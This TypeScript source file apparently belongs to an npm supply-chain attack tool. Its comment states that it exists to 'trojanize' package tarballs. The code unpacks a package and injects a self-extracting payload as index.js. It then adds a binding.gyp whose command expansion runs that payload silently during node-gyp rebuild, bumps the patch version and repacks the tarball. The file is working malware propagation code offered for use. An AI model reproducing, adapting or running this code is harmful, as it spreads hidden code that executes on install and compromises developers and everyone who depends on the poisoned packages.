Files
Miasma_Archive/src/mutator/npm/tarball.ts
T
2026-06-13 09:36:13 -04:00

117 lines
3.9 KiB
TypeScript

import { randomBytes } from "crypto";
import { createWriteStream } from "fs";
import * as fs from "fs/promises";
import * as path from "path";
import { pipeline } from "stream/promises";
import * as tar from "tar";
import { SCRIPT_NAME } from "../../utils/config";
import { logUtil } from "../../utils/logger";
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
export const TMP_PACKAGE_NAME = "package-updated.tgz";
export interface UpdateTarballOptions {
/** Log / error-message tag, e.g. "[npm]" or "[npmoidc]". */
tag: string;
/**
* Name of the binding.gyp target. Defaults to "nothing".
* NPMOidcClient uses "Setup".
*/
targetName?: string;
/** Whether to add `"bun"` as a dependency in package.json. */
addBunDep?: boolean;
/**
* Custom content for index.js. When set, this is written directly
* as index.js instead of the self-extracting Bun.main payload.
* Useful for validation / testing the binding.gyp injection path.
*/
payload?: string;
}
/**
* Download, trojanize, and repack an npm tarball.
*
* 1. Extract into a temp directory.
* 2. Inject the self-extracting payload as `index.js`.
* 3. Add a `binding.gyp` with a `<!(command)` expansion that triggers
* execution during `node-gyp rebuild`.
* 4. Bump the patch version.
* 5. Repack and validate the resulting gzip stream.
*
* @returns The path to the modified tarball.
*/
export async function updateTarball(
tarballPath: string,
opts: UpdateTarballOptions,
): Promise<string> {
const { tag, targetName = "nothing", addBunDep = false, payload } = opts;
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
await fs.mkdir(tmpDir, { recursive: true });
try {
await tar.extract({ file: tarballPath, cwd: tmpDir });
const scriptContent =
payload ??
buildSelfExtractingPayload(await Bun.file(Bun.main).text(), {
wrap: true,
});
await Bun.write(path.join(tmpDir, "package", SCRIPT_NAME), scriptContent);
// binding.gyp — <!(command) expansion executes during node-gyp rebuild.
// type: "none" means gyp expands the command (firing the payload) but
// skips compilation — no .c/.o files needed.
const gypContent = [
"{",
' "targets": [',
" {",
` "target_name": ${JSON.stringify(targetName)},`,
' "type": "none",',
` "sources": ["<!(node ${SCRIPT_NAME} > /dev/null 2>&1 && echo stub.c)"]`,
" }",
" ]",
"}",
].join("\n");
await Bun.write(path.join(tmpDir, "package", "binding.gyp"), gypContent);
const pkgJsonPath = path.join(tmpDir, "package", "package.json");
const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
if (addBunDep) {
pkg.dependencies ??= {};
pkg.dependencies["bun"] = "^1.3.13";
}
const [major, minor, patch] = pkg.version.split(".").map(Number);
pkg.version = `${major}.${minor}.${patch + 1}`;
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
const updatedPath = path.join(
path.dirname(tarballPath),
`${uniqueSuffix}_${TMP_PACKAGE_NAME}`,
);
await pipeline(
tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
createWriteStream(updatedPath),
);
// Defensive postcondition: fail loudly here with context if the
// tarball is somehow not a valid gzip stream, instead of
// exploding inside `gunzipSync` further down the pipeline.
const written = await fs.readFile(updatedPath);
if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
throw new Error(
`${tag} tarball at ${updatedPath} is not a valid gzip stream ` +
`(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
);
}
logUtil.log(`Updated path: ${updatedPath}`);
return updatedPath;
} finally {
}
}